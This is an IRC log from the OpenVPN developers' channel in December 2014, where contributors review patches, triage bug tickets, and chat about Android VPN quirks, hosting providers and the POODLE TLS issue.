[~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 06:27 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Client Quit] 07:21 <@syzzer> cron2: yes, 488. The title made me at least take a look ;) 07:22 <@syzzer> I shivered, saw your response and decided to close my browser again quickly ;) 07:54 * cron2 should just assign such tickets to plaisthos and enjoy the screaming :-) 08:18 <+krzee> <cron2> ask plaisthos why he wakes up screaming some nights 08:18 <+krzee> LOL 09:42 <@dazo> okay ... this is nerdy cool! https://twitter.com/Staubfluse/status/540806562613575680/photo/1 ;-) 09:42 <@vpnHelper> Title: Staubfluse on Twitter: "This german traffic light lets you play PONG with the person on the other side. #gaming #gamersunite #retrogaming http://t.co/Z1wHGzbnL3" (at twitter.com) 10:52 <@ecrist> cron2: that port commit is done 12:28 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:28 -!- mode/#openvpn-devel [+o andj] by ChanServ 12:37 <@cron2> \o/ 13:17 <@plaisthos> cron2, syzzer: yeah, pretty normal socket stuff 13:17 <@plaisthos> not the most insane socket for certain :) 13:19 <@plaisthos> that line actually had a bug in eralier dual stack patches where I did not cast it to sockaddr_in6 and copied not enough data and ended up with a broken sockaddr 13:54 <@cron2> haha :) 14:52 -!- dazo is now known as dazo_afk 15:17 -!- mattock is now known as mattock_afk 15:24 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 15:31 < harshar> hi. Is the *auth_user_pass included in context_1 used anywhere? I couldn't find a reference to it 15:31 < harshar> https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/openvpn.h#L213 15:31 <@vpnHelper> Title: openvpn/openvpn.h at master · OpenVPN/openvpn · GitHub (at github.com) 15:37 -!- mattock_afk is now known as mattock 15:49 -!- mattock is now known as mattock_afk 16:04 <@plaisthos> harshar: no iirc it is in the options struct 16:09 < harshar> it's a global struct declared in ssl.c 19:12 <+krzee> dazo_afk, whyd the german cross the road? 21:14 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 272 seconds] --- Day changed Sat Dec 06 2014 00:29 -!- mattock_afk is now known as mattock 03:28 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] --- Log opened Sat Dec 06 21:53:42 2014 21:53 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 21:53 -!- Irssi: #openvpn-devel: Total of 20 nicks [9 ops, 0 halfops, 3 voices, 8 normal] 21:53 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 21:53 -!- Irssi: Join to #openvpn-devel was synced in 0 secs --- Day changed Sun Dec 07 2014 00:05 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 00:05 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 03:57 <@cron2> I *was* already wondering whether vpn-helper was broken... seems it was :) 05:34 -!- mattock_afk is now known as mattock 07:41 <+krzee> is something still wrong with him? 07:41 <+krzee> or you mean when he was gone 07:50 <@cron2> when he was gone, he wasn't here! 07:58 <+krzee> ahh right :D 10:38 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 11:14 <@syzzer> hmm, I've been looking through and updating some the doxygen documentation. There's quite some useful stuff in there! We should probably autogenerate and upload those somewhere... 12:00 -!- mattock is now known as mattock_afk 12:43 -!- mattock_afk is now known as mattock 12:55 <@cron2> syzzer: that doxygen update should apply to 2.3 as well, right? P_DATA_V2 is there, polar is there, ... 12:55 <@syzzer> cron2: yes 12:56 <@syzzer> I didn't actually check whether it applies cleanly, but it should. And I kept the text in such a way that it should fit both 2.3 and master (for now) 12:56 <@cron2> yep, that's what it looked like 12:59 <@syzzer> wow, that was fast :) 13:00 <@cron2> docs good :) 13:00 <@cron2> (actually, "git push" is still working on it, sf seems to be a bit loaded...) 13:06 <@vpnHelper> RSS Update - gitrepo: Update doxygen (a bit) <https://github.com/OpenVPN/openvpn/commit/b08c25dbaeffbdd80acc143a931a276163c851a3> 14:21 -!- mattock is now known as mattock_afk --- Day changed Mon Dec 08 2014 01:46 -!- mattock_afk is now known as mattock 03:12 < lev__> Hello, about generate_prefix call at float. Currently each float eats 256 bytes, which will be released when multi_instance is closed. So long lasting sessions which float a lot will drain memory. We agreed that this will be fixed in a separate patch. So, instead of allocating 256 bytes in each multi_instance_string call, I'd modify existing "const char *msg_prefix" to "char msg_prefix[256]" inside multi_instance struct. Does it sound reasonable? 03:29 -!- dazo_afk is now known as dazo 03:43 <@syzzer> lev__: sounds reasonable to me! 04:10 <@syzzer> the multi_instance is allocated on connect, right? 04:47 < lev__> yep, inside multi_create_instance 04:50 < lev__> thanks to valgrind's massif tool, problem (and solution) can be nicely visualised 06:03 <@plaisthos> I have the feeling that I will have to review that OS X keychain stuff :/ 06:25 < lev__> About adding peer-id to status (the one printed at SIGUSR2). Looks like there are different status file versions, I wonder if adding new column to client list output will break something. 06:28 <@dazo> lev__: maybe consider adding a new status version? We should probably discuss which other interesting fields we should add too 06:28 <@dazo> cron2: I've seen the down-root plugin mail ... I'll fix and send new patches next week 06:33 < lev__> dazo: yep, a new status version should be a safer option. I was initially planning to add peer-id to an existing status version together with "generate_prefix" fix, but seems it is a bit bigger thing (new status version) and should go to a separate patch. 06:33 <@dazo> sounds like a good plan! 06:39 <@plaisthos> lev__: iirc we have already added one or two columns in the status output in the -master branch 06:39 <@plaisthos> so adding another one will probably not break it 06:40 <@plaisthos> See commit 662ce6acc065bddf6490b3494725b8b3987b7def 06:45 <@syzzer> lev__: separate patches for separate fixes is always a good plan :) 06:45 <@syzzer> small commits are easier to review 06:46 <@plaisthos> *sigh* 06:47 <@plaisthos> a user of mine complains that my app does not support AES-256-CFB cipher and whirlpool 06:47 <@syzzer> "patches are welcome" ? 06:47 <@plaisthos> and another users complains that I dropped RIPEMD support since Android's OpenSSL dropped that 06:48 <@plaisthos> isn't CFB broken in most versions anyway? 06:48 <@syzzer> not anymore :p 06:48 <@syzzer> works now in both 2.3 and master 06:49 <@plaisthos> Is RIPEMD insecure or something? 06:49 <@plaisthos> Or is that just random "We are Google, we drop radom features we don't use" thing 07:00 <@syzzer> I'm not aware that it's broken, but iirc SHA1 (and thus SHA2) perform better and are stronger 07:41 <@syzzer> plaisthos: but yeah, I think you'll have to review the OSX patch. I don't have a setup to test any of it, so I stare at the code a bit, but that's it... 07:45 <@plaisthos> appereantly Yandex is headquarted in Netherland. 07:46 <@plaisthos> I wonder if that headquarter has the size of a postbox 07:57 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 08:29 <@syzzer> "Yandex is a Russian Internet company which operates the largest search engine in Russia" 08:29 <@syzzer> yeah, probably owning a holding in Luxembourg or Ireland... 08:48 < lev__> syzzer: could you please glance at generate-prefix patch (+18/-6) ? https://github.com/stipa/openvpn/commit/597caead6e0234e8b2a52ac09bbd5d9ebd04a035 08:48 <@vpnHelper> Title: Prevent memory drain for long lasting floating sessions · 597caea · stipa/openvpn · GitHub (at github.com) 10:05 <@syzzer> lev__: will do 10:09 < lev__> syzzer: thanks! pushed new version there - replaced strlen with first byte comparison 10:13 <@plaisthos> wah the keychain patch is huge 10:20 <@syzzer> lev__: yeah, sounds better. Looks good on first glance, but I'll try to take a better look tonight, or otherwise tomorrow night. 10:20 <@syzzer> plaisthos: yes... 10:58 -!- novaflash_away is now known as novaflash 11:35 <@plaisthos> lev__: If I read you status patch right, if no peer id is given the status output will show UINT32_MAX? 11:38 < lev__> plaisthos: well peer-id is always assigned, however it might not be sent to a client if it does not support it 11:38 <@plaisthos> ah okay 11:38 < lev__> that UINT_32 max is for the weird case when tls_multi is null 11:40 <@plaisthos> like on the client :) 11:45 < lev__> plaisthos: that multi_print_status is called only on the server, client uses print_status in sig.c 11:47 <@mattock> guys: I'm wondering if we were supposed to have a meeting today 11:47 <@mattock> any opinions regarding the matter? 12:00 <@syzzer> I think we are supposed to :p 12:23 <@syzzer> oh, wow, a parameter with the name 'null'... 12:35 < lev__> syzzer: in multi_instance_string? that code seems to be quite old 12:35 <@syzzer> lev__: yes, definitely not your fault 12:35 <@syzzer> I think I'll just do a follow up patch to get rid of it :p 12:36 <@cron2> dazo, lev__: no new status version, please. When we added the last column, word of wisdom was "there are column headers, and if programs die because they expect a fixed number of fields, they deserve to be broken" 12:37 <@dazo> fair enough 12:38 <@cron2> "we asked james when we added the last two extra columns" :) 12:52 <@mattock> syzzer: definitely an answer to my question :P 12:53 <@mattock> follow-up question: is there something in particular we should discuss (in a real meeting and today)? 12:53 <@mattock> although no advance warning was sent, because I forgot to check my calendar today 12:55 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:55 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:56 <@syzzer> mattock: don't know. I don't have anything specific. 13:01 <@mattock_> ok... next week might be better 13:05 <@syzzer> probably 13:17 <@plaisthos> I like that lev commit references my commit as reason which references James commit as reason 13:22 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.8] 15:06 -!- mattock is now known as mattock_afk 15:11 <@dazo> recursive commit log references .... sounds dangerous! ;-) 15:19 <@vpnHelper> RSS Update - gitrepo: Prevent memory drain for long lasting floating sessions <https://github.com/OpenVPN/openvpn/commit/09cf2ec5c09d35c72f2af0d988de8152378a182a> || Add the peer-id to the output of the status command <https://github.com/OpenVPN/openvpn/commit/1b9541922ad6ff6ee46c84f43cd23b7064f7919d> 15:32 < lev__> btw, would be nice if someone could take a look at inotify patch: http://thread.gmane.org/gmane.network.openvpn.devel/9287 15:32 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 15:35 <@dazo> lev__: I got it in my review list, so I will hopefully find some time during christmas (I have 3 weeks+ of Christmas holidays coming up from end of this week and might get "too little computer time" abstinences ;-)) 15:38 <@syzzer> dazo: one more patch to apply for you ;) 15:38 * dazo awaits mailing list updates :) 15:38 < lev__> dazo: thanks! 15:38 <@dazo> you're welcome! 15:40 <@dazo> syzzer: thx! 15:41 <@dazo> that must have been the quickest round-trip for an patch commit :) 15:41 <@syzzer> hehe, could very well be :p 15:41 <@dazo> oh, that one should go into release/2.3 too 15:41 <@syzzer> yup 15:43 <@vpnHelper> RSS Update - gitrepo: plugin, down-root: Fix compiler warnings <https://github.com/OpenVPN/openvpn/commit/7dd51f6f50b17ab91cbb724e2d5e96657fab834a> 15:59 <@dazo> syzzer: cron2 asked me to do a code style clean-up in down-root ... so I applied astyle --style =allman --indent=spaces=4 -c to the down-root.c ... the majority is indent fixes, but should we delay this? Or should we apply it now and see how well it fares if we need to do more fixes in that plug-in? 15:59 <@dazo> what do you think? I can submit a patch to the ML 16:00 <@syzzer> dazo: hmm, I don't think it will matter much. those plugins aren't touched very much 16:00 <@dazo> yeah ... well, I can submit the patch and watch the ML turn into a flame-fest! ;-) 16:01 <@syzzer> make people get used to the idea ;) 16:01 <@dazo> heh ... and even in a non-critical area :) 16:04 <@dazo> I see that there's no mentioning of the indent space, I think we agreed on 4 spaces, right? 16:04 <@dazo> (I remember getting grumpy comments for my 8 space suggestion ;-)) 16:08 <@syzzer> yes, 4 spaces 16:32 <@syzzer> dazo: did you see this one: https://community.openvpn.net/openvpn/ticket/480 16:32 <@vpnHelper> Title: #480 ([PATCH] Openvpn with crytpodev on FreeBSD does not work) – OpenVPN Community (at community.openvpn.net) 16:34 <@syzzer> it has 'crypto' in the subject, so I started looking at it, but I find it hard to assess the effects of moving up the fork as suggested by the patch submitter 16:34 <@dazo> syzzer: I've seen it, yes ... but I haven't dug into how this change relates in the bigger picture 16:34 <@syzzer> ah, some issue for you. I was hoping you were better versed in this part 16:35 <@dazo> I'm not a BSD guy ... so for me this a bit surprising 16:37 <@syzzer> oh, some should have been same. 16:37 <@syzzer> well, I'll just see if I can figure it out then 16:39 <@dazo> I'll give it a look too, just because I'm curious, but I don't suspect I'm brave enough to ack it 16:50 <@syzzer> as far as I can tell the code looks sane, and I did not yet manage to break it on my linux box, but that's as much as I can tell 16:51 <@syzzer> I asked to author for more information on the patch 16:52 <@syzzer> dazo: hmm, did we agree on whether '} else {' 16:52 <@syzzer> should be allowed? 16:53 <@syzzer> (you didn't use it, but I actually like it) 16:56 <@dazo> syzzer: I like it too ... but it's not "allmann" style :) 16:57 <@dazo> But we agreed to stay as close as possible to the style, to avoid needing too much special editor tweaks 16:57 <@dazo> (at least, that's what I believe I remember ;-)) 16:57 <@syzzer> ah, right, just found a better reference that wikipedia. so, agreed. 16:59 <@dazo> hmmm ... I just realised we have --nice .... and began to wonder about the point supporting that ......... 17:19 <@dazo> syzzer: I've glared at trac 480 for a bit now ... I'm sceptical, because a lot of things happens which points at the main context (struct context *c), even though do_init_first_time() only prepares c->c0 and doesn't do any other odd things. But all the functions being called after the new place of do_init_first_time() needs to be checked if they do any checks if c->c0 is NULL or not. 17:22 <@syzzer> dazo: the only other place c->c0 is ever referenced is in do_uid_gid_chroot(), which is called after do_init_first_time() anyway 17:23 <@dazo> another thing I spotted ... I wonder if it would be enough to put this before the "init crypto layer block" instead 17:23 <@dazo> (well, it is before that now ... but closer to it) 17:24 <@syzzer> yes, probably, it is what I asked the path submitter about 17:24 <@dazo> ahh! goodie :) 17:29 <@dazo> But I don't really see why that would do any difference ... I think it's needed to look at a BSD system to really see what is happening ... as c->c0 isn't touched many places at all (seeing what 'git grep c0' returns) 17:30 <@syzzer> as far as I understand, the issue is with the fork that is done to daemonize 17:30 <@syzzer> if that is done after the crypto init, some this bsd cryptodev thingy still references the old process or something like that 17:31 <@dazo> hmm ... right ... and do_init_first_time() may call daemonize() 17:31 <@dazo> (via possibly_become_daemon()) 17:31 <@syzzer> yep 17:32 <@dazo> okay, I can see that some kernels may restrict what daemons can do with kernel module loading 17:41 <@syzzer> time to catch some sleep :) 17:41 <@syzzer> good night! 17:41 * dazo agrees :) 17:41 <@dazo> g'night! 17:55 -!- dazo is now known as dazo_afk 22:43 -!- kontaxis [~kontaxis@dyn-160-39-57-60.dyn.columbia.edu] has joined #openvpn-devel 22:44 -!- kontaxis [~kontaxis@dyn-160-39-57-60.dyn.columbia.edu] has quit [Client Quit] --- Day changed Tue Dec 09 2014 00:12 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 272 seconds] 00:14 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 00:14 -!- mode/#openvpn-devel [+o pekster] by ChanServ 00:56 -!- mattock_afk is now known as mattock 02:03 <@mattock> if we only had a Windows developer we could potentially fix a large percentage of Windows suspend/resume -related problems quite easily: 02:03 <@mattock> https://community.openvpn.net/openvpn/ticket/71#comment:20 02:03 <@vpnHelper> Title: #71 (Windows 7 (and Vista) - tunnel fails after resume from Sleep/Standby) – OpenVPN Community (at community.openvpn.net) 02:03 <@mattock> assuming my analysis of the comments is correct 02:10 -!- dazo_afk is now known as dazo 02:22 <@plaisthos> yay 02:22 <@plaisthos> first serious Android 5.0 VPN Service bug 02:22 <@plaisthos> s/serious// 02:23 <@plaisthos> Android 5.0 only uses the routes to route traffic and ignroes the network of the ifconfig command 02:23 <@plaisthos> and routes that via local network 02:27 <@vpnHelper> RSS Update - tickets: #489: --tcp-no-delay kills client with ASSERT <https://community.openvpn.net/openvpn/ticket/489> 02:51 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 02:52 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 04:02 <@plaisthos> lev__: http://www.ovh.de/virtual_server/index.xml 04:02 <@vpnHelper> Title: VServer: Virtual Server für Einsteiger und Profis - OVH (at www.ovh.de) 04:03 <@plaisthos> was the cheap server hoster you used? 04:05 <@vpnHelper> RSS Update - gitrepo: sockets: Remove the limitation of --tcp-nodelay to be server-only <https://github.com/OpenVPN/openvpn/commit/706283d3765d1ee62dbd913fbfc191855b92528d> 04:05 < lev__> plaisthos: I use DigitalOcean, 5usd/month. That one even cheaper, 2.40eur, with better hardware! 04:08 <@cron2> dazo: I think we might actually have another trac open with tcp-nodelay - that bug and fix sounds familiar (and thanks for fixing it anyway :) ) 04:09 <@cron2> dazo: and congrats on remembering 2.3 ;-) 04:09 <@dazo> hehehe! that's thanks to plaisthos who set the 2.3.7 milestone ;-) 04:10 <@cron2> oh, yes, #408 04:10 <@cron2> and #429 04:10 <@cron2> huh 04:10 <@dazo> and 429 04:10 <@dazo> okay, it was about time we fixed this one! :) 04:11 < lev__> plaisthos: thanks for the link! 04:11 <@plaisthos> The submitter of 489 should have really check if was already a ticket 04:11 <@dazo> :) 04:11 <@plaisthos> lev__: no problem, was just trying to find a new server as "test server" 04:11 <@cron2> dazo: I'll close #408 04:11 <@dazo> thx! 04:15 <@plaisthos> lev__: I am thinkg about renting an instance there, if you do too, lets check if there a "refer a friend" program :) 04:16 <@dazo> I might be interested too ... that price is very good. I was considering a hetzner VM ... but this seems better priced, but I wonder how well it performs 04:17 <@dazo> (Hetzner got vServer, 1 CPU, 1GB RAM, 25GB HDD for €6.90/month) 04:18 < lev__> plaisthos: country selection is limited to Germany and a few more. I wonder what should I choose. 04:19 <@dazo> lev__: which countries are the others? 04:19 <@plaisthos> lev__: as your residence? 04:19 <@plaisthos> on ovh.de I get DACH+Luxemburg+Lichtenstein 04:20 < lev__> I think so, at account creation. Others are Austria, Luxembourg, Liechtensten and Switzerland 04:20 <@dazo> hmmm ovh is 64 Bit OpenVZ .... so it's a container, not a VM 04:21 <@plaisthos> yes 04:21 <@plaisthos> http://www.ovh.com/fr/vps/vps-classic.xml 04:21 <@vpnHelper> Title: VPS Classic : Le VPS pas cher & haute performance - OVH (at www.ovh.com) 04:21 <@plaisthos> there a french version too 04:21 < lev__> https://www.ovh.co.uk/ 04:22 <@vpnHelper> Title: Web Hosting, Cloud, and Dedicated Servers - OVH (at www.ovh.co.uk) 04:23 <@plaisthos> I will order one and check if there is referal ... 04:25 < lev__> oh nice, they have finnish version! http://www.ovh-hosting.fi/vps/index.xml 04:25 <@vpnHelper> Title: VPS: Virtuaalipalvelin pilvessä - OVH (at www.ovh-hosting.fi) 04:26 <@plaisthos> and http://www.ovh-hosting.fi/vps/ does not work :D 04:26 <@vpnHelper> Title: VPS: Virtuaalipalvelin pilvessä - OVH (at www.ovh-hosting.fi) 04:27 <@plaisthos> their ipv6 is broken on .fi site ... 04:50 <@cron2> my opensolaris buildslave is weird 04:50 <@cron2> occasionally *some* t_client tests fail the "ping 1440" test. And only that one, the "ping 3000" always works, as does the "ping 64", so fragments *should* be fine... 04:50 <@cron2> and it's always a different test 05:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] 05:08 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:08 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:22 <@plaisthos> oh #408 actually had a patch attached 05:23 <@plaisthos> and cron2 analyzed the bug in 429 05:23 <@plaisthos> seem like you could only trigger the warning if you compile without P2MP_SERVER support 08:23 -!- dazo is now known as dazo_afk 09:29 <@vpnHelper> RSS Update - tickets: #490: System configured PKCS#11 modules are not available <https://community.openvpn.net/openvpn/ticket/490> 09:35 <@vpnHelper> RSS Update - tickets: #491: PKCS#11 ID format is non-standard <https://community.openvpn.net/openvpn/ticket/491> 12:15 <@vpnHelper> RSS Update - gitrepo: plugins, down-root: Code style clean-up <https://github.com/OpenVPN/openvpn/commit/e2e9a69c1ecc7142cc17d665076795215b6a8e9a> 12:53 <+krzee> did the new poodle not effect openvpn? 12:59 <@syzzer> krzee: the new poodle was specific to a number of hardware vendors iirc (F5, A10) 13:01 <@cron2> "look, we can implement TLS in the same broken way as SSL!" 13:03 <@ecrist> heh 13:22 <+krzee> oh i see 14:38 -!- mattock is now known as mattock_afk 16:47 <@pekster> plaisthos: OVH is well-known for doing IPv6 about as wrong as it's possible to do and have it still (sort of) work 16:48 <@pekster> They do such billiant things as give customers who ask a /48 and then put it all on-link. Because naturally 2^64 IPs isn't enough for a single subnet 21:37 <@vpnHelper> RSS Update - tickets: #492: Param ping-restart needs dev <https://community.openvpn.net/openvpn/ticket/492> --- Day changed Wed Dec 10 2014 02:58 <@plaisthos> pekster: /48 on a single is a great idea %) 03:30 <@cron2> wohoo :) - fixed #457. Thanks to d12fk and plaisthos! 04:27 -!- dazo_afk is now known as dazo 06:48 -!- mattock_afk is now known as mattock 13:00 -!- mattock is now known as mattock_afk 13:20 <@cron2> lev__: how busy are your company's VPN servers, as in "how many users connected at the same time"? 14:26 -!- dazo is now known as dazo_afk --- Day changed Thu Dec 11 2014 00:37 -!- mattock_afk is now known as mattock 01:01 -!- mattock is now known as mattock_afk 01:13 -!- mattock_afk is now known as mattock 01:16 -!- dazo_afk is now known as dazo 01:34 < lev__> cron2: up to 1000 per box 01:54 -!- mattock is now known as mattock_afk 02:26 -!- mattock_afk is now known as mattock 02:47 <@cron2> lev__: that's not enough :-) - I'm wondering whether there is a hidden 1024-user-limit in there or not - one user on openvpn-users claims that, and I think it's "something else"... 02:56 < lev__> cron2: 1024 s is default value for max_clients https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/options.c#L821 02:56 <@vpnHelper> Title: openvpn/options.c at master · OpenVPN/openvpn · GitHub (at github.com) 02:56 < lev__> /%s/s/a 02:56 <@cron2> lev__: yes, but the user claims to have increased --max-clients to 2048, and it still doesn't work 02:57 <@cron2> (but failed to provide server logs that show what is happening when client 1025 tries to connect, so it could be anything, like "session limit per port in the firewall" or suchish) 03:14 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 03:21 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:21 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:53 < lev__> cron2: I just managed to connect 1300 client to a single server (with route-nopull), then my client VM ran out of memory 03:56 < lev__> in previous attempt my ifconfig pool exhausted after 1022-th client, which I fixed by using /16 04:00 <@cron2> lev__: thanks. This is good enough for me "there is no magic 1024 limit in the general code" 05:40 -!- mattock is now known as mattock_afk 07:02 -!- mattock_afk is now known as mattock 09:01 -!- dazo is now known as dazo_afk 09:16 <@cron2> lev__: what did you test on? git master, on linux? 10:38 < lev__> cron2: yep linux, git master (b08c25d) 11:32 -!- mattock is now known as mattock_afk 13:20 -!- lev__ [~lev@stipakov.fi] has quit [Remote host closed the connection] 13:41 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 16:35 -!- lev__ [~lev@stipakov.fi] has quit [Quit: leaving] 17:40 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 19:42 < snappy> sorry was reading above 19:43 < snappy> is the tldr of new poodle attack -- don't use or allow sslv[123] and you're safe? 22:55 <+krzee> snappy, 22:56 <+krzee> [14:59] <syzzer> krzee: the new poodle was specific to a number of hardware vendors iirc (F5, A10) 22:56 <+krzee> [15:01] <cron2> "look, we can implement TLS in the same broken way as SSL!" 22:56 <+krzee> those 2 people saying the same thing is pretty much all i need to hear ;] 23:37 < snappy> haha --- Day changed Fri Dec 12 2014 01:29 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 03:07 -!- dazo_afk is now known as dazo 03:08 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 03:46 -!- mattock_afk is now known as mattock 04:02 -!- lev__ [~lev@stipakov.fi] has quit [Quit: leaving] 04:02 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 04:22 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: foo!] 05:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:57 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:11 <@plaisthos> google vpn is strange 07:12 <@plaisthos> setting an IP with a netmask does not mean that traffic to that network should be routed over VPN and that working as intended (https://code.google.com/p/android/issues/detail?id=79195#c15) 07:12 <@vpnHelper> Title: Issue 79195 - android - Android 5.0 VpnService does not tunnel IPv4 traffic, only IPv6 - Android Open Source Project - Issue Tracker - Google Project Hosting (at code.google.com) 07:59 <@syzzer> plaisthos: that is .. special .. But nobody in the tickets seems to have actually mentioned explicitly what you just mentioned. Seems like that's being overlooked. 09:17 <@plaisthos> yeah I added a comment that this should be at least documented 09:19 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: foo!] 09:20 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:20 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:53 -!- mattock is now known as mattock_afk 13:14 <@dazo> If anyone have time to review some of my patched, I'd appreciate that ... they're all here: http://thread.gmane.org/gmane.network.openvpn.devel/9232 13:14 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:15 <@dazo> Patch 1/4 is the most important one, and the "worst" one 14:35 -!- dazo is now known as dazo_afk --- Day changed Sat Dec 13 2014 01:44 -!- mattock_afk is now known as mattock 02:10 <@mattock> apparently some Windows update has the potential to break tap-windows driver signature checks: 02:10 <@mattock> http://answers.microsoft.com/en-us/windows/forum/windows_7-windows_update/fixed-patch-tuesday-dec-2014-kb3004394-driver-code/2bb0fbdd-c8ca-427a-aefb-e3bd5db57c1a 02:10 <@vpnHelper> Title: FIXED patch tuesday dec 2014 kb3004394 - driver - Microsoft Community (at answers.microsoft.com) 02:11 <@mattock> I hear openvpn connect users have encountered this already 02:19 <@cron2> ouch 02:43 -!- mattock is now known as mattock_afk 11:14 -!- mattock_afk is now known as mattock 14:48 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 15:21 <@syzzer> dazo_afk: I have the interactive service on my list before that one... 21:48 -!- ender| [krneki@foo.eternallybored.org] has quit [Ping timeout: 240 seconds] 22:01 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 23:29 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 244 seconds] 23:30 -!- Netsplit *.net <-> *.split quits: lev__, _bt, @d12fk, @pekster, @raidz_away, +roentgen, EvilJStoker, shivanshu, ender|, @andj, (+4 more, use /NETSPLIT to show all of them) 23:32 -!- Netsplit *.net <-> *.split quits: floppym, +novaflash, @vpnHelper 23:49 -!- Netsplit over, joins: +novaflash, @vpnHelper, ender|, lev__, shivanshu, _bt, @syzzer, +roentgen, Haigha, riddle (+5 more) 23:50 -!- Netsplit over, joins: floppym --- Day changed Sun Dec 14 2014 00:00 -!- Netsplit *.net <-> *.split quits: lev__, _bt, @d12fk, @raidz_away, +roentgen, EvilJStoker, shivanshu, ender|, @andj, Haigha, (+5 more, use /NETSPLIT to show all of them) 00:01 -!- Netsplit over, joins: +novaflash, @vpnHelper, ender|, lev__, shivanshu, _bt, @syzzer, +roentgen, Haigha, riddle (+5 more) 01:44 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 01:44 -!- mode/#openvpn-devel [+o pekster] by ChanServ 07:55 <@cron2> whee, windows reviews 07:57 <@syzzer> well, sort of :p 15:42 <@plaisthos> oh you can try to setup openvpn with no ifconfig/ifconfi6 15:42 <@plaisthos> I learn something new every day 15:42 <@cron2> --ifconfig-noexec? 15:42 <@plaisthos> not like that 15:43 <@plaisthos> a server which just does not push any ifconfig or ifconfig6 stuff 15:43 <@plaisthos> then strange things happen 15:43 <@plaisthos> like my app crashes 15:43 <@cron2> bad app! 15:44 <@cron2> my t_client test set has a test "no ipv4 routes, just pushed route-ipv6" because that did crash the client at some point 15:50 <@plaisthos> hm my app also crashes if you have ipv6 only VPN (no ifconfig) and check bypass local network for VPN 15:50 <@plaisthos> the bypass feature probably only works for ipv4 anyway 15:50 <@plaisthos> I reading ipv6 interface information probably requires netlink again 19:21 <@ecrist> cron2: FYI - https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=195982 19:21 <@vpnHelper> Title: Bug 195982 security/openvpn-devel: Update to latest snapshot 201450 (at bugs.freebsd.org) --- Day changed Mon Dec 15 2014 01:22 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 258 seconds] 01:24 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:24 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 01:24 -!- mattock_afk is now known as mattock 01:36 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:35 <@cron2> ecrist: thanks 12:19 <@syzzer> so, will there be a meeting today? 12:22 <@cron2> nobody announced one, so I'd say "no". But maybe we should fix next week right away (if that's not too close to christmas) 12:22 <@cron2> is mattock around? 12:52 <@ecrist> doesn't look like it 13:17 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 13:19 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 13:23 <@mattock> uh, meeting, yes 13:23 <@mattock> I should put these things to my calendar 13:24 <@mattock> let's schedule one for next week 14:30 -!- Netsplit *.net <-> *.split quits: @cron2, @d12fk 14:31 -!- Netsplit over, joins: @cron2, @d12fk 15:01 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 245 seconds] 15:08 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 15:23 -!- mattock is now known as mattock_afk 17:55 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 17:56 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 17:56 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Tue Dec 16 2014 00:22 -!- mattock_afk is now known as mattock 03:06 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping 